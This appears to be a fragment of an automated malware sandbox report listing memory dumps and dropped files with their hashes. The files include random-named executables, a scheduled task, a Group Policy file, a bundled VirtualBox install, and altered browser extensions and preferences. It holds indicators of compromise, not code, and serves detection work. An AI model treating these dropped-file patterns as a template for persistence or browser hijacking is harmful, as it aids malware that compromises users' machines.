memory/1888-349-0x000001E1CA8B0000-0x000001E1CA8C0000-memory.dmp

memory/1888-350-0x000001E1CA8B0000-0x000001E1CA8C0000-memory.dmp

memory/1440-353-0x0000000000400000-0x00000000008AD000-memory.dmp

memory/2868-354-0x00007FF770900000-0x00007FF77140A000-memory.dmp

memory/3316-355-0x0000027C61030000-0x0000027C61040000-memory.dmp

memory/1888-356-0x000001E1CA8B0000-0x000001E1CA8C0000-memory.dmp

memory/3316-358-0x00007FFB54680000-0x00007FFB55142000-memory.dmp

memory/1888-359-0x00007FFB54680000-0x00007FFB55142000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404031123321\opera_package

MD5 f9172d1f7a8316c593bdddc47f403b06
SHA1 ed1e5a40b040af2c60ed6c2536b3bf7ee55e0e52
SHA256 473f0d4b886db8cd39b900b92bdc0625a3fcec8addd43f71179696bdf186ec3b
SHA512 f51ab2bdf29ca6839e4f7cf1fac1bdfc03ba2da4569a8f21e5d2ee13e6519097c3da40bf0b4ca7642286ed033d0126bbd14ef7842eb9f2db1d6e503849521b02

C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404031123321\additional_file0.tmp

MD5 20d293b9bf23403179ca48086ba88867
SHA1 dedf311108f607a387d486d812514a2defbd1b9e
SHA256 fd996b95ae46014edfd630bfc2bf8bc9e626adf883a1da017a8c3973b68ec348
SHA512 5d575c6f0d914583f9bb54f7b884caf9182f26f850da9bdd962f4ed5ed7258316a46fafaf3828dccb6916baaadb681fe1d175a3f4ed59f56066dc7e32b66f7b6

C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404031123321\assistant\assistant_installer.exe

MD5 b3f05009b53af6435e86cfd939717e82
SHA1 770877e7c5f03e8d684984fe430bdfcc2cf41b26
SHA256 3ea8d40fcede1fc03e5603246d75d13e8d44d7229d4c390c39a55534053027f7
SHA512 d2dee80aaa79b19f1eb1db85079a05f621780e06bfea9e838b62d757ba29399f9090ec7c6ff553377c9b712f3ba8dd812cdff39f3e28829928e86746a8ac6b27

C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404031123321\assistant\dbgcore.dll

MD5 8b6f64e5d3a608b434079e50a1277913
SHA1 03f431fabf1c99a48b449099455c1575893d9f32
SHA256 926d444ffca166e006920412677c4ed2ef159cf0efc0578cb45b824f428f5eb2
SHA512 c9aeac62ece564ac64a894300fb9d41d13f22951ead73421854c23c506760d984dff0af92bef2d80f3a66e782f0075832e9c24a50ae6110d27a25c14e065b41c

C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404031123321\assistant\dbghelp.dll

MD5 925ea07f594d3fce3f73ede370d92ef7
SHA1 f67ea921368c288a9d3728158c3f80213d89d7c2
SHA256 6d02ebd4ec9a6093f21cd8ccefb9445fa0ab7b1f69ac868a5cfc5d28ed8d2de9
SHA512 a809851da820d9fdd8fb860a8f549311dcc2579df2c6f6fba74f50d5d8bf94baa834b09fb5476ac248f18d1deb6b47d4fdd6d658889d5d45ca8774a9264483d2

memory/2972-433-0x0000000000400000-0x0000000000866000-memory.dmp

memory/1440-434-0x0000000000400000-0x00000000008AD000-memory.dmp

memory/1440-436-0x0000000000400000-0x00000000008AD000-memory.dmp

memory/1144-438-0x00000000053B0000-0x00000000053C0000-memory.dmp

memory/3816-439-0x00007FFB547A0000-0x00007FFB55262000-memory.dmp

C:\ProgramData\Are.docx

MD5 a33e5b189842c5867f46566bdbf7a095
SHA1 e1c06359f6a76da90d19e8fd95e79c832edb3196
SHA256 5abf8e3d1f78de7b09d7f6fb87f9e80e60caacf13ef3c1289665653dacd7c454
SHA512 f2ad3812ec9b915e9618539b0f103f2e9acaad25fbbacd84941c954ce070af231324e83a4621e951c1dbae8d40d50410954e40dd52bbd46e34c54b0d1957407b

memory/3816-445-0x00000240D6220000-0x00000240D9B18000-memory.dmp

C:\Windows\Tasks\bCAdHbOFiqtMCRhbmR.job

MD5 b37ef7b3ef8417ead488b40f43792c56
SHA1 3a5e75c586006ffefb0961f0a0bf9ee1715de0f6
SHA256 17c9b19de3b1a636120357d1a2dd2fd00c22c723caf2327d47b93d97ea926bc9
SHA512 445029ee24d100b7fcf146cffa5a7ced247eb1fee3e487897d889db605815453d29cc790bc7dbac8cee252812bb6ab258ef69ed94c0f7e7b0aaeb982a2c44374

memory/2972-457-0x0000000000400000-0x0000000000866000-memory.dmp

memory/3816-459-0x00000240F42E0000-0x00000240F43F0000-memory.dmp

memory/3816-460-0x00000240F4180000-0x00000240F4190000-memory.dmp

memory/3816-461-0x00000240F4170000-0x00000240F4180000-memory.dmp

memory/3816-462-0x00000240F4210000-0x00000240F421C000-memory.dmp

memory/3816-463-0x00000240F4200000-0x00000240F4214000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\BAECFHJEBA.exe

MD5 fe380780b5c35bd6d54541791151c2be
SHA1 7fe3a583cf91474c733f85cebf3c857682e269e1
SHA256 b64a84d1f88e4e78464a1901c1cb5bbd5f00bb73203d719e64e072157a087b53
SHA512 ba05ba8aa13c4bc1cf98fbf6c08b021e8b19354098e0397fc8e1e5d3dcce367c1063203f24e50d0973193f6535681d0a43486e5dade5d112853b7a2fe8739b6c

memory/3816-464-0x00000240F4270000-0x00000240F4294000-memory.dmp

memory/948-469-0x00000000747A0000-0x0000000074F51000-memory.dmp

memory/948-468-0x00000000007A0000-0x00000000007C0000-memory.dmp

memory/3816-472-0x00000240F42A0000-0x00000240F42AA000-memory.dmp

memory/2972-474-0x0000000000B40000-0x0000000000C40000-memory.dmp

memory/3816-475-0x00000240F45F0000-0x00000240F461A000-memory.dmp

memory/3816-476-0x00000240F4620000-0x00000240F469A000-memory.dmp

memory/3816-477-0x00000240F46A0000-0x00000240F4702000-memory.dmp

memory/3816-478-0x00000240F4780000-0x00000240F47F6000-memory.dmp

memory/2972-479-0x0000000000400000-0x0000000000866000-memory.dmp

memory/3816-473-0x00000240F4540000-0x00000240F45F2000-memory.dmp

memory/3816-481-0x00000240F4150000-0x00000240F415A000-memory.dmp

memory/948-482-0x00000000052A0000-0x00000000052B0000-memory.dmp

memory/3816-486-0x00000240F4800000-0x00000240F4B00000-memory.dmp

memory/948-490-0x00000000747A0000-0x0000000074F51000-memory.dmp

memory/3816-493-0x00000240F4180000-0x00000240F4190000-memory.dmp

memory/3816-492-0x00000240F8B70000-0x00000240F8BA8000-memory.dmp

memory/3816-491-0x00000240F8460000-0x00000240F8468000-memory.dmp

memory/3816-494-0x00000240F8B30000-0x00000240F8B3E000-memory.dmp

memory/3816-496-0x00000240F8BF0000-0x00000240F8BFA000-memory.dmp

memory/3816-497-0x00000240F9240000-0x00000240F9262000-memory.dmp

memory/3816-498-0x00000240F4180000-0x00000240F4190000-memory.dmp

memory/3816-499-0x00000240F4180000-0x00000240F4190000-memory.dmp

memory/3816-500-0x00000240F97A0000-0x00000240F9CC8000-memory.dmp

memory/3816-503-0x00000240F92F0000-0x00000240F9340000-memory.dmp

C:\Users\Admin\Pictures\9WJ4CGLG0XVmnP5KNQnINhJF.exe

MD5 d2a1400da7889266674cc21bbcb82f3a
SHA1 cb9121fbcf78a38fedcca0d16630b9c038108e83
SHA256 ca6a2a6e7a3361c22c40900f58d221a1a337cd4a44e4e97840bb7e85a5f5085a
SHA512 d677bc46a0a8660c7c486ccd756920f24f85d5b1887711e74829f4eb74f411a4b7d3f519303d972d32adfeb7b1bc9fd7da0f5fbb75b2d172c461510a4a65d5bf

memory/4924-526-0x0000000010000000-0x00000000105E8000-memory.dmp

C:\Windows\system32\GroupPolicy\Machine\Registry.pol

MD5 cdfd60e717a44c2349b553e011958b85
SHA1 431136102a6fb52a00e416964d4c27089155f73b
SHA256 0ee08da4da3e4133e1809099fc646468e7156644c9a772f704b80e338015211f
SHA512 dfea0d0b3779059e64088ea9a13cd6b076d76c64db99fa82e6612386cae5cda94a790318207470045ef51f0a410b400726ba28cb6ecb6972f081c532e558d6a8

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\ce-installer_7.14.2_vbox-6.1.20.exe

MD5 b0e01c5413b9a6b760acf7a495bb3416
SHA1 d8f105ae851eb0da195502635ee9a803c088f7bb
SHA256 a6ad9d59c8b2dcef13da38edd6a7339072840d2691a85ff07bd00a5ac300cb9e
SHA512 c525ded66ddf5219ab9d5914c9a9c81bb618134e189269627867e6df4f432fc455a70f4923d8fa9f563670148ce9b323a45dcb0edda12864368f03ca1eab4920

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\install.cfg

MD5 08adf158c610aceaa735ea78248e909e
SHA1 e9fdb470cd39bd8d4175bb5f3b00d665a89d9dab
SHA256 1db4af39a74048a8e19a92b2cfda4e6d2577b8073915e00f5b305031db227e4d
SHA512 339c6113cf6b2f96d8557109ccb5ac891ab64ab255a2af95161af51504908c4ddff704af3818090a02f1be0e0a52708101fdbda269167cc21c856993a7cd4e32

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\VirtualBox-6.1.20-r143896.msi

MD5 a198248d82bcfe0548af2dd8b5d234c9
SHA1 b48db4ee1171682510b7f9768a119da78937f0bd
SHA256 5e4fd3d3aa4666014213cd384da90d59bcd77bc7ae7fedcb6951e9c4945fc0fb
SHA512 ebff424004dccf67613e3caa5a04d6865f581125cec31539d86d9bc89e89a0571f979c1a877d651bbcb63aa4cc1c6569cc6af64d69dd0a9b0ddde28b0e24d878

C:\Users\Admin\AppData\Local\Temp\charityengine-install-vbox-log.txt

MD5 f3b25701fe362ec84616a93a45ce9998
SHA1 d62636d8caec13f04e28442a0a6fa1afeb024bbb
SHA256 b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209
SHA512 98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84

C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

MD5 5b74da6778ccaa0e1ca4ae7484775943
SHA1 0a2f6f315a0ca1a0366b509aec7b13c606645654
SHA256 172282931d7eeb60228e6b9b4b913fd78c73f2a7855620f35fb24a5c847b6c78
SHA512 20b4cb7174f49b22426b249f1dfc8f6273f50d1502536e773f4dcd073bf027f2a554d2437c2dc628dbe021c5c3b968b2d89f810ff1bb19630c1560e7feee1a1a

C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 e076ee20dc514b8dcee90ae3f8013e45
SHA1 8e389790eb94df9df5db93657d09c8d48ea27ed9
SHA256 cb43d3249d00d61b8165a40ca3829e2e55aba84bfd2c05044281d4cd738f9b71
SHA512 9959b8741753fef1103f24bb665ddc7514beaeff3e12d053f0215b71eb69545940cf3c1c0677b1b4ce8ee173abac4f81d2cebfd336b8e433ead961e2f29eee20

memory/1020-720-0x0000000010000000-0x00000000105E8000-memory.dmp

C:\Windows\System32\DRVSTORE\VBoxDrv_A74DBC1DC66E4A6300641C79D3B73B2FD2C2E5F9\VBoxDrv.sys

MD5 321ccdb9223b0801846b9ad131ac4d81
SHA1 ac8fb0fc82a8c30b57962fe5d869fda534053404
SHA256 05045c57480d3d5996e10a60393e799647c4ddaf6ede5f712d520c2a2841d43b
SHA512 75b5cfd1dfe7da31f8988e2e76ca4ad21784acf9fc26a2593e567eb7e54036026c5249695614f8f1b53873fa9bf82e864b609d2f863717b8363189de7284754a

memory/1020-790-0x0000000002760000-0x00000000027E5000-memory.dmp

C:\Program Files\Mozilla Firefox\browser\features\{85FD6ACE-3736-491B-8514-6C8C9556E131}.xpi

MD5 9759b1757a181a79bcb5d4b5d59cded7
SHA1 cbd7b302c414305f017502665be9657585959f1d
SHA256 603ecc2252d239941881a015f3c971dfa2212542a7a5d6e6b3f6d7c1c980c358
SHA512 2b56412cbfd45a3bcd5956024e293225d075eacc391695970033acf3b451db09991f329bb58fa282fcb571ef28867e9a4a2d331ba9238fbe9d126e17aade8f23

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\fa\messages.json

MD5 238d2612f510ea51d0d3eaa09e7136b1
SHA1 0953540c6c2fd928dd03b38c43f6e8541e1a0328
SHA256 801162df89a8ad2b1a51de75e86eba3958b12960660960a5ffafe9bc55bc293e
SHA512 2630dd7a3c17dc963b1a71d81295cf22f8b3838748b55c433318e1e22f5b143a6d374ca2e5a8420659fa130200fbaa4814d0f093b1eca244b5635a3b99878e1c

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\en_GB\messages.json

MD5 2a1e12a4811892d95962998e184399d8
SHA1 55b0ae8a7b5a5d6094827ede8e6a1d26d4b4a720
SHA256 32b4406692c26b540fea815a9bb56df1f164140cd849e8025930b7425036cceb
SHA512 bb54d5e8684a6bfeac559b7c7a7551eed6a8a43a4c6464218cb0adb1c89fea124b69760690c3124af86fa68ac3fdbe903eaa098f0af2b6a58f4702c803abc089

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\pt_BR\messages.json

MD5 0b1cf3deab325f8987f2ee31c6afc8ea
SHA1 6a51537cef82143d3d768759b21598542d683904
SHA256 0ec437af3f59fef30355cf803966a2b9a0cd9323d390297496f750775995a6bf
SHA512 5bc1f5a2d38f4a071513e2ac25b241c8e5584bed8d77e7fc4194855898d51a328dd73200f5aae6c9bc1b2a304e40e56bc686192074bd8a1bcc98f4971dee428f

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\geiolieogaichbpfhcannipendgnnbkn\1.0.1_0\_locales\es\messages.json

MD5 bd6b60b18aee6aaeb83b35c68fb48d88
SHA1 9b977a5fbf606d1104894e025e51ac28b56137c3
SHA256 b7b119625387857b257dd3f4b20238cdbe6c25808a427f0110bcb0bf86729e55
SHA512 3500b42b17142cd222bc4aa55bf32d719dbd5715ff8d0924f1d75aec4bc6aa8e9ca8435f0b831c73a65cc1593552b9037489294fbf677ba4e1cec1173853e45b

C:\Windows\Installer\e5929a6.msi

MD5 1114119630367d95660a3e6359caf87f
SHA1 8443aeb2a8c0230e609b203c8e6ead55eca04012
SHA256 8a8619bcf7a13f677c0134ea679e6906355566fbd3be246459f46634741e4057
SHA512 388d32c46444f98a1795182df58aac5ebc62bf98a7adb355bfd2b7afc7b12c45b3ca8dc24a2b44a1733b86dcac3c116a4f0bd418f756a6909bc232f61c9c7a47

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\zs0352kg.default-release\prefs.js

MD5 a22c7f82b8ab8769d9e1f201bfffcaa6
SHA1 a484f89feac0fff522b018eb9b0fe7dff390ebf2
SHA256 6f57d2b1c17b5a9bd2ce515cd3c8d882b8811237499874e68f4c1a3745fd8a47
SHA512 323dd9f4b86923c6a19a906b560b4f00feb78ee8e1af230b7b5c81975d964b510bf3c7f05b9d3a5b1da64546b3d4f6e57ea2d0cf592b5610d6b55593a26c8f23

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences

MD5 47f9ab7520c4f488628e843aaea881b2
SHA1 24ad093e755a95ab51623a8c23eacc5f0a877203
SHA256 07a9ece1eded7a698a556db47b1fa6e0e5553f27d3baed9e70fcdcbc2163a71f
SHA512 e8701ef282e0d3fbbf129bb052627fb8c17cdc34cff5061105e3a1cfc2e5f241f8c3d740231f03e2f04a1a4010c2852e7f79a46762852a8a2efc87734d6a7c0a

C:\Windows\Installer\MSIE579.tmp

MD5 4298cfa3dab9867af517722fe69b1333
SHA1 ab4809f8c9282e599aa64a8ca9900b09b98e0425
SHA256 cedff33eba97e81df4248a087441b1cd9877fa63aded5d357f601302ae6d9cf8
SHA512 37b6830886e210c9ca20cc6699f50389937edc2e558165d0e8aa3786e7dd971096bbf6c0f3e36aa8ddd7433e02155de04e23b929e5e846f8fe5586b08a596d3b

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

MD5 1eda69643b23d6b8b74bc8cb31831d51
SHA1 e610fb9c0140e4c7dc48836f43350fa1806ee030
SHA256 feb5d0c9d50ef7d8339182c38498f120f9f58794aacda33e1788df0dc485f24e
SHA512 b525877b0903c50689e9853c72507cc9526d62d2fabb2084630403afcc0a184923e92ccc892508adfa841e954cb4cf0a54d6e67cad2cf3290c7dcf5519f21882

C:\Config.Msi\e5929a9.rbs

MD5 db8af3a526a6d99cdcf76fdf5ffc2cf0
SHA1 22c385280fb560a765a9f90dfea865e5c3be0082
SHA256 81419986e0d9d1fe66389e1d51db7e98f599b59bb803ac8cc0a35eeec88dc2d2
SHA512 1f0b8158e6bfd59419cb9a35d245a14cb40040bf8d26db329955e55ac111802aec0442cac25c9b4a923dfad13a62ad7d50e75b6b6e32563228adc166a1206452